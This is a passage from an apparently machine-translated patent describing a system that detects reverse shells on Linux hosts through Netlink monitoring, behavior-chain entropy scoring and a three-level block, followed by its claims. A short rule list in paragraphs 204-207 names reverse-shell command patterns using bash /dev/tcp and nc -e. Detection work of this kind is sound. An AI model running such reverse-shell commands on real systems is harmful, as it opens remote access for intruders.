[0163] Further, compared with the traditional IP / port-based network blocking, the MAC layer blocking can prevent the attacker from bypassing the interception by IP spoofing (such as forging the source IP), thereby achieving the cutting off of the communication channel of the attack from the network level and preventing the transmission and feedback of malicious instructions.

[0164] Optionally, the alarm module 15 is configured to receive the target process parameter set of the reverse shell process, the first control instruction sent by the behavior analysis submodule 132, and the active interception result sent by the dynamic response module 14, and send the target process parameter set and the active interception result to the alarm platform 2 based on the first control instruction.

[0165] Specifically, when the behavior analysis submodule 132 determines that the current host layer process is a reverse shell process, the target process parameter set (including process ID, parent process ID, start command, associated quadruple information, and other core data) of the process can be extracted from the real-time data.

[0166] Meanwhile, the dynamic response module 14 records the active interception result (such as the execution state of memory fusing, process termination, and network blocking) of the process.

[0167] Further, the behavior analysis submodule 132 sends the obtained target process parameter set and the first control instruction to the alarm module 15. Meanwhile, the dynamic response module 14 sends the recorded active interception result to the alarm module 15.

[0168] Further, by recording and obtaining the detailed parameters of the reverse shell process and the active interception result, a basis is provided for security auditing and attack tracing.

[0169] Further, after the alarm module 15 receives the target process parameter set and the first control instruction sent by the behavior analysis submodule 132 and the active interception result sent by the dynamic response module 14, the alarm module 15 can send the received target process parameter set and the active interception result to the alarm platform 2 through email, short message, or the like under the control of the first control instruction.

[0170] Further, by sending the target process parameter set and the active interception result to the alarm platform, it is ensured that the security event is quickly handled, and the attack influence time is shortened.

[0171] The detection and response system of the reverse shell provided in the embodiment acquires quadruple information, process parameter set, and process behavior chain in real time through Netlink, replaces the traditional periodic traversal mode, avoids missed detection due to short process injection time, and reduces system resource occupation. Further, by constructing a probability distribution table as a dynamic baseline in the process training module, the problem that the traditional fixed rule library cannot adapt to system changes is avoided, and false positives caused by baseline rigidity are reduced. Further, in the engine analysis module, the probability distribution table is combined, the collected quadruple information, process parameter set, and process behavior chain are used to analyze and determine whether the host layer process is a reverse shell process, the problems that the traditional rule detection is easy to be bypassed and encrypted traffic cannot be identified are solved, and false positives and missed detection are reduced. Further, in the dynamic response module, the reverse shell process is eradicated based on the multi-dimensional in-depth defense principle, the reverse shell process can be completely eradicated, and the problems of traditional detection and response delay and incomplete blocking are solved. Therefore, by implementing the present application, the real-time performance, accuracy, and rapid blocking performance of the reverse shell detection are improved.

[0172] According to the embodiment of the present application, a detection and response method of a reverse shell is provided. It should be noted that the steps shown in the flowchart of the accompanying drawings can be executed in a computer system such as a set of computer executable instructions, and although the logical order is shown in the flowchart, in some cases, the steps shown or described herein can be executed in a different order.

[0173] In this embodiment, a detection and response method of a reverse shell is provided for the reverse shell detection and response system 1 provided in the above embodiments of the present application, which is used for a target host and connected with an alarm platform 2. Figure 3 is a flowchart of the detection and response method of a reverse shell according to the embodiment of the present application, as shown in Figure 3 The flowchart includes the following steps:

[0174] In step S301, real-time four-tuple information, real-time process parameter set, real-time process behavior chain and multiple historical process behavior chains of the host layer process of the target host are acquired through Netlink.

[0175] The specific process can refer to the function description of the data acquisition module 11 in the reverse shell detection and response system 1 in the above embodiments, which will not be repeated here.

[0176] In step S302, a probability distribution table is constructed according to the multiple historical process behavior chains.

[0177] The specific process can refer to the function description of the process training module 12 in the reverse shell detection and response system 1 in the above embodiments, which will not be repeated here.

[0178] In step S303, based on the probability distribution table, the real-time four-tuple information, the real-time process parameter set and the real-time process behavior chain are used to analyze the characteristics and behaviors of the host layer process and determine whether the host layer process is a reverse shell process.

[0179] The specific process can refer to the function description of the engine analysis module 13 in the reverse shell detection and response system 1 in the above embodiments, which will not be repeated here.

[0180] In step S304, when the host layer process is a reverse shell process, the multi-dimensional in-depth defense principle is used to eradicate the reverse shell process.

[0181] The specific process can refer to the function description of the dynamic response module 14 in the reverse shell detection and response system 1 in the above embodiments, which will not be repeated here.

[0182] The detection and response method of the bounce shell provided by the embodiment improves the real-time performance, accuracy and rapid blocking performance of bounce shell detection.

[0183] In an optional embodiment, the method further includes: when the host layer process is a bounce shell process, obtaining a target process parameter set of the bounce shell process and an active interception result; and sending the target process parameter set and the active interception result to an alarm platform.

[0184] The specific process can refer to the function description of the behavior analysis submodule 132 and the alarm module 15 in the bounce shell detection and response system 1 in the above embodiment, which will not be described here.

[0185] The detection and response method of the bounce shell provided by the embodiment ensures that the security event is quickly handled, and the attack influence time is shortened.

[0186] In an example, a Netlink bounce shell detection and response device based on entropy value baseline analysis and fuse blocking is provided, mainly used for detecting bounce shell at the host layer. In terms of data collection, Netlink is used to collect information in real time; in terms of detection, two detection methods based on rules and behavior characteristics are used; in terms of dynamic response, a three-level fuse mechanism is used to isolate from memory, process and network. The example solves the real-time performance, accuracy and rapid blocking performance of bounce shell detection.

[0187] In terms of real-time performance: compared with the traditional process monitoring method based on Ptrace, Auditd, traversing TCP and traversing process list, the TCP connection event is monitored in real time through Netlink, all newly established TCP connections are captured in real time, and the connection event is captured in time. The problem of missing fast injection of malicious processes is solved, the problem of short process injection time, periodic traversal of process list and lack of real-time performance of TCP connection state is solved, the problem of shortening the traversal period and high occupation of host resources is solved, and the problem of high security and low development cost is solved. Using Netlink to monitor TCP connection has the advantages of high efficiency, flexibility, precision, real-time performance, security and low development cost.

[0188] In the detection aspect: on the basis of process and IP whitelist and blacklist filtering, the traditional rule detection is increased with weighting operation, and the detection based on behavior characteristics is proposed. Based on the collected data, the process behavior chain is constructed using the process socket life cycle five-tuple action sequence, the penalty factor is introduced, and the precise detection of high-order attacks such as encryption, confusion and slow speed is realized. The problems that the traditional rule engine is easy to be bypassed, and the hidden and complex attacks such as encrypted and variant shell, TCP tunnel and phased delay attack are difficult to be discovered are solved. Through Netlink, 100,000 process behavior chains are collected in a safe environment to form a probability distribution matrix, and a dynamic baseline of normal processes is constructed; by designing a delay penalty factor, slow attacks can be resisted. The precise detection of high-order attacks such as encryption, confusion and slow speed is realized.

[0189] In the blocking aspect: when it is determined that it is a malicious rebound shell, a three-level fuse response device is used to isolate from the memory, process and network level respectively to completely block the attack chain. In the memory level, the mprotect is set to PROT_NONE to ensure that the memory page is locked as inaccessible, thereby protecting the memory reading area from any read, write and execution operations, which can prevent code execution or data leakage; in the process level, SIGKILL is sent to its parent process to make the parent process forcibly terminate the process to avoid the running of the rebound shell; in the network level, MAC layer blocking is performed using ebtables to prevent IP spoofing bypass, thereby prohibiting the rebound shell connection in the network layer.

[0190] Further, the overall idea of the present example is: in the process monitoring measure, the Netlink interface is used to implement real-time monitoring of the host layer, the process TCP connection state is acquired in real time, and the process behavior chain is constructed in combination with the process behavior; in the detection measure, the entropy value of the process behavior chain is analyzed to accurately identify encrypted, hidden and complex rebound shells; in the defense measure, a three-level fuse response device is used for the identified rebound shell process to isolate from the memory, process and network level respectively to completely block the attack chain. As shown in Figure 4 the system architecture, the rebound shell detection response system mainly includes: a process training module, a data acquisition module, an engine analysis module, a dynamic response module and an alarm module.

[0191] Further, the main implementation steps include:

[0192] (1) Process training module: the action baseline training is performed on a large number of processes, for example, 100,000 process behavior chains are collected in a safe environment through Netlink to construct a probability distribution table, as shown in Table 1 above.

[0193] (2) In the data acquisition module:

[0194] a) Real-time monitoring of host layer network status and TCP connection through Netlink interface, real-time acquisition of connection four-tuple (source IP, target IP, source port, destination port); collection of TCP connection related process information such as ( / proc / [process ID] / net / tcp) to obtain process startup name and parameters;

[0195] b) Real-time capture of process behavior event stream through Netlink socket, according to the 5 kernel actions that must be experienced by a complete reverse shell (socket socket_create, bind port bind, listen port listen, accept request accept and execute shell command exec) Abstract socket life cycle into five-tuple action sequence, build process behavior chain:

[0196] P={a1:socket_create,a2:bind,a3:listen,a4:accept,a5:exec}

[0197] (3) Engine analysis module: composed of feature analysis submodule and behavior analysis submodule.

[0198] a) In the feature analysis submodule, the collected process data such as process name, process hash value, process startup command and parameters are analyzed.

[0199] i. Trusted process white list: compare the obtained process hash value with the custom process white list hash value, if matched, it means that the process is safe, and the detection is ended directly;

[0200] ii. Malicious process blacklist: compare the obtained process hash value with the custom malicious process blacklist hash value, if matched, it means that the connection process is dangerous, and directly enter the dynamic response module;

[0201] iii. Trusted IP white list: compare the obtained source IP with the custom legal IP address library, if matched, it means that the connection process is trusted, and the detection is ended directly;

[0202] iv. Malicious IP blacklist: compare the obtained source IP address with the threat intelligence library, if matched, it means that the connection process is dangerous, and directly enter the dynamic response module;

[0203] v. Rule weighted judgment: according to the respective rules, the process information such as process name, process startup parameters, process connection port (high-risk port 4444, 6666) are matched, such as bash reverse, nc reverse, etc., the rules are as follows:

[0204] patterns = [

[0205] r"bash\s+-i\s+>&\s+ / dev / tcp / ",

[0206] r"nc\s+-e\s+ / bin / (bash|sh)",

[0207] …]

[0208] Further, if the rule is hit, the process is first weighted for risk, and then the process information is further analyzed, such as parent process detection, checking whether the parent process of the shell process is a web service (such as Nginx, Apache, etc. web service) or a scheduled task (such as Cron); process file descriptor checking, checking / proc / [process ID] / fd, checking whether the standard input, output is redirected to a socket. If the analysis meets the conditions, the risk weighting is calculated, and whether it is a reverse shell is determined according to the threshold. If it is determined to be a reverse shell, it enters the reverse shell blocking module, otherwise it enters the next behavior analysis submodule.

[0209] b) Behavior analysis submodule:

[0210] In the behavior analysis submodule, the behavior chain entropy model is constructed through the process information (process behavior chain collected by the data collection module). According to the socket five-tuple action sequence P obtained by the data collection module, the multi-action sequence of the process behavior chain is analyzed, and its dynamic entropy value E is calculated, as shown in the above relationship (2).

[0211] To solve the detection of hacker slow attack, the time interval between accept and exec execution is intentionally prolonged, and an action delay penalty coefficient is used. When the delay time is greater than 50 milliseconds, T_delay(a i ) is used as the action delay penalty coefficient, and the dynamic entropy value E is calculated. When E is greater than the threshold, it indicates that the behavior characteristics meet the behavior judgment of reverse shell, and enters the dynamic response module.

[0212] (4) Dynamic response module: In order to block malicious connections in real time, this example uses the principle of defense in depth to eradicate the reverse shell process from three dimensions of memory, process and network. At the memory level, mprotect is used to make the process non-executable; at the process level, SIGKILL is used to cut off the blood relationship from the parent process; at the network level, ebtables is used to block the MAC layer to prevent IP spoofing bypass.

[0213] (5) Alarm module: according to the results of the previous engine analysis module, record the collected suspicious connection information, bounce shell log, source IP, port, connection protocol, target system IP, port, process and parent process information, and send the processing results (whether there is active interception) to the alarm platform and security administrator through email and SMS. Among them, suspicious connection means the network connection found in the network that does not conform to the normal behavior pattern. It shows that the connection has potential security threats or malicious activities.

[0214] Further, based on the processing steps of the above bounce shell detection response system, the main steps of bounce shell detection are as shown in Figure 5

[0215] The Netlink bounce shell detection response device provided by the present example uses the Netlink special kernel channel to acquire network process event flow in real time, proposes to use the socket life cycle five-tuple action sequence to construct a process behavior chain; in addition to using conventional rule-based feature detection, the process behavior is analyzed through a process chain entropy analysis model, which can effectively detect complex bounce shells such as encryption and tunneling; for the detected malicious processes, according to the principle of defense in depth, a three-level fuse response mechanism is adopted to millisecond-level real-time block the malicious processes from three directions of memory fuse, process removal and network isolation; finally, the attack information is alarmed in real time, and the security administrator is notified. The device has the characteristics of strong real-time detection, high detection rate and fast interception. On the basis of traditional rule-based detection, risk weighting is added, and a process behavior-based detection method is used to reduce false positives and false negatives. Its important advantages are:

[0216] (1) Kernel-level monitoring: based on Netlink real-time monitoring of network events, avoiding periodic traversal of process information, with efficient kernel communication, low system overhead, and high real-time performance.

[0217] (2) Behavior chain entropy engine: use the socket life cycle five-tuple action sequence to construct a process behavior chain, analyze the process behavior through a process chain entropy analysis model and a delay penalty factor, which can detect encrypted and tunneling shells, and is especially effective for chronic attacks.

[0218] (3) Three-level fuse response device: threefold eradication from memory, process, and network layer to completely block the attack chain.

[0219] ​Furthermore, existing reverse shell detection devices are inferior to the Netlink mechanism used in this example in terms of information collection, real-time performance, and security. They lack the ability to construct process behavior chains using the socket lifecycle five-tuple action sequence. In terms of detection, most are rule-based, with few behavior-based detections, and none possess a process chain entropy analysis model. Regarding response, they are often cursory, lacking a three-level circuit breaker mechanism. This example, however, detects, responds to, and alerts to reverse shells from multiple dimensions, including port blacklists, threat intelligence, reverse shell characteristics, parent process information of suspicious connections, input / output monitoring, socket lifecycle five-tuple action sequence, process behavior chains, process chain entropy analysis models, and a three-level circuit breaker mechanism. It boasts advantages such as high real-time performance, high detection rate, low false negatives, and low false positives.

[0220] This invention also provides a computer device for performing the above-described... Figure 3 The method for detecting and responding to a reverse shell is shown.

[0221] Please see Figure 6 , Figure 6 This is a schematic diagram of the structure of a computer device provided in an optional embodiment of the present invention, such as... Figure 6 As shown, the computer device includes one or more processors 10, memory 20, and interfaces for connecting the components, including high-speed interfaces and low-speed interfaces. The components communicate with each other via different buses and can be mounted on a common motherboard or otherwise installed as needed. The processors can process instructions executed within the computer device, including instructions stored in or on memory to display graphical information of a GUI on external input / output devices (such as display devices coupled to the interfaces). In some alternative implementations, multiple processors and / or multiple buses can be used with multiple memories, if desired. Similarly, multiple computer devices can be connected, each providing some of the necessary operations (e.g., as a server array, a group of blade servers, or a multiprocessor system). Figure 6 Take a processor 10 as an example.

[0222] Processor 10 may be a central processing unit, a network processor, or a combination thereof. Processor 10 may further include a hardware chip. The hardware chip may be an application-specific integrated circuit (ASIC), a programmable logic device (PLD), or a combination thereof. The programmable logic device may be a complex programmable logic device (CAMP), a field-programmable gate array (FPGA), a general-purpose array logic (GDA), or any combination thereof.

[0223] The memory 20 stores instructions executable by at least one processor 10 to cause at least one processor 10 to perform the method shown in the above embodiments.

[0224] The memory 20 can include a program storage area and a data storage area. The program storage area can store an operating system, application programs required for at least one function, and the like. The data storage area can store data created according to the use of the computer device, and the like. In addition, the memory 20 can include a high-speed random access memory, and can further include a non-transitory memory such as at least one of a magnetic disk storage device, a flash memory device, or other non-transitory solid state memory device. In some alternative embodiments, the memory 20 can optionally include a memory disposed remotely from the processor 10, which can be connected to the computer device through a network. Examples of the network include, but are not limited to, the Internet, an intranet, a local area network, a mobile communication network, and a combination thereof.

[0225] The memory 20 can include a volatile memory such as a random access memory, and can further include a non-volatile memory such as a flash memory, a hard disk, or a solid state disk. The memory 20 can also include a combination of the above-mentioned types of memory.

[0226] The computer device further includes a communication interface 30 for communication of the computer device with other devices or communication networks.

[0227] The embodiments of the present application also provide a computer readable storage medium. The above-mentioned method according to the embodiments of the present application can be implemented in hardware, firmware, or recorded in a storage medium, or implemented as computer code stored in a remote storage medium or non-transitory machine readable storage medium and stored in a local storage medium to be downloaded through a network, so that the method described herein can be processed by such software on a storage medium using a general purpose computer, a special purpose processor, or programmable or special purpose hardware. The storage medium can be a magnetic disk, an optical disk, a read-only memory, a random access memory, a flash memory, a hard disk, or a solid state disk, and the like. Further, the storage medium can also include a combination of the above-mentioned types of memory. It can be understood that the computer, processor, microprocessor controller, or programmable hardware includes a storage component that can store or receive software or computer code, which, when accessed and executed by the computer, processor, or hardware, implements the method shown in the above-mentioned embodiments.

[0228] Part of the present application can be applied as a computer program product, for example, computer program instructions, when executed by a computer, through the operation of the computer, can invoke or provide the method and / or technical solutions according to the present application. Those skilled in the art should understand that the form of computer program instructions in computer readable medium includes but is not limited to source files, executable files, installation package files and the like, and accordingly, the way of computer program instructions executed by computer includes but is not limited to: the computer directly executes the instructions, or the computer compiles the instructions and then executes the corresponding compiled program, or the computer reads and executes the instructions, or the computer reads and installs the instructions and then executes the corresponding installed program. Here, the computer readable medium can be any available computer readable storage medium or communication medium accessible to the computer.

[0229] Although the embodiments of the present application are described in conjunction with the drawings, various modifications and changes can be made by those skilled in the art without departing from the spirit and scope of the present application, and such modifications and changes fall within the scope defined by the appended claims.

Claims

1. A detection and response system for bounce shell, for a target host; characterized in that, The system comprises a data acquisition module, a process training module, an engine analysis module and a dynamic response module. The data acquisition module is configured to acquire real-time four-tuple information, a real-time process parameter set and a real-time process behavior chain of a host layer process of the target host through a Netlink, and send the real-time four-tuple information, the real-time process parameter set and the real-time process behavior chain to the engine analysis module. The process training module is configured to construct a probability distribution table based on a plurality of historical process behavior chains, and send the probability distribution table to the engine analysis module. The engine analysis module is configured to analyze the characteristics and behaviors of the host layer process based on the probability distribution table, the real-time four-tuple information, the real-time process parameter set and the real-time process behavior chain, and determine whether the host layer process is a reverse shell process, and send a first control instruction to the dynamic response module when the host layer process is the reverse shell process. The dynamic response module is configured to eradicate the reverse shell process based on the first control instruction and a multi-dimensional in-depth defense principle.

2. The system of claim 1, wherein, The data acquisition module comprises a first acquisition submodule and a second acquisition submodule. The first acquisition submodule is configured to acquire a plurality of real-time TCP connection events of the target host through a Netlink interface, acquire the real-time four-tuple information and the real-time process parameter set of the host layer process based on the plurality of real-time TCP connection events, and send the real-time four-tuple information and the real-time process parameter set to the second acquisition submodule. The second acquisition submodule is configured to acquire a process behavior event stream through a Netlink socket based on the real-time four-tuple information and the real-time process parameter set, abstract a socket life cycle into a five-tuple action sequence based on a plurality of kernel actions of a reverse shell process, and construct the real-time process behavior chain.

3. The system of claim 1, wherein, The engine analysis module comprises: The characteristic analysis submodule is configured to analyze the characteristics of the host layer process based on the real-time four-tuple information and the real-time process parameter set, determine whether the host layer process is a reverse shell process, and send the first control instruction to the dynamic response module when the host layer process is the reverse shell process.

4. The system of claim 3, wherein, The characteristic analysis submodule comprises a whitelist analysis unit, a blacklist analysis unit and a rule analysis unit. The whitelist analysis unit is configured to match a process hash value in the real-time process parameter set with a preset process whitelist hash value, and send a second control instruction to the blacklist analysis unit when the matching fails. The blacklist analysis unit is configured to match the process hash value with a preset malicious process blacklist hash value based on the second control instruction, and send a third control instruction to the whitelist analysis unit when the matching fails. The rule analysis unit is configured to match the real-time four-tuple information with a preset rule set, and send a fourth control instruction to the whitelist analysis unit when the matching fails. The white list analysis unit is further configured to match the source IP address in the real-time four-tuple information with a preset IP address library based on the third control instruction, and send a fourth control instruction to the black list analysis unit when the matching fails; The black list analysis unit is further configured to match the source IP address with a preset threat intelligence library based on the fourth control instruction, and send a fifth control instruction to the rule analysis unit when the matching fails; The rule analysis unit is configured to perform feature matching on the host layer process using a real-time process parameter set according to a plurality of preset rules based on the fifth control instruction, and perform risk weighting on the host layer process to obtain a risk weighting value when the matching succeeds; The rule analysis unit is further configured to compare the risk weighting value with a first preset threshold, and determine that the host layer process is the reverse shell process when the risk weighting value is greater than or equal to the first preset threshold.

5. The system of claim 3, wherein, The engine analysis module further includes a behavior analysis submodule; The feature analysis submodule is further configured to send a sixth control instruction to the behavior analysis submodule when the host layer process is not the reverse shell process; The behavior analysis submodule is configured to, when receiving the sixth control instruction, process the probability distribution table and the real-time process behavior chain through a process chain entropy value analysis model to obtain a dynamic entropy value of the host layer process; The behavior analysis submodule is further configured to determine that the host layer process is the reverse shell process and send the first control instruction to the dynamic response module when the dynamic entropy value is greater than or equal to a second preset threshold.

6. The system of claim 5, wherein, The system is connected with an alarm platform; the system further includes: An alarm module configured to receive the target process parameter set of the reverse shell process, the first control instruction sent by the behavior analysis submodule, and the active interception result sent by the dynamic response module, and send the target process parameter set and the active interception result to the alarm platform based on the first control instruction.

7. A method of detecting and responding to a bounce shell, the method comprising: The detection and response system for the reverse shell of any one of claims 1 to 6 is used for a target host; the method includes: Obtaining real-time four-tuple information, a real-time process parameter set, a real-time process behavior chain, and a plurality of historical process behavior chains of a host layer process of the target host through Netlink; Constructing a probability distribution table according to the plurality of historical process behavior chains; Based on the probability distribution table, analyzing the features and behaviors of the host layer process using the real-time four-tuple information, the real-time process parameter set, and the real-time process behavior chain, and determining whether the host layer process is a reverse shell process; When the host layer process is the reverse shell process, using a multi-dimensional in-depth defense principle to eradicate the reverse shell process.

8. The method of claim 7, wherein, The detection and response system for the reverse shell is connected with an alarm platform; the method further includes: When the host layer process is the reverse shell process, obtaining a target process parameter set and an active interception result of the reverse shell process; sending the target process parameter set and the active interception result to the alarm platform.

9. A computer-readable storage medium, characterized in that, The computer readable storage medium stores computer instructions, and the computer instructions are used to make a computer execute the detection and response method of the reverse shell in claim 7 or 8.

10. A computer program product, characterised in that, The computer readable storage medium stores computer instructions, and the computer instructions are used to make a computer execute the detection and response method of the reverse shell in claim 7 or 8. The computer readable storage medium stores computer instructions, and the computer instructions are used to make a computer execute the detection and response method of the reverse shell in claim 7 or 8.

Images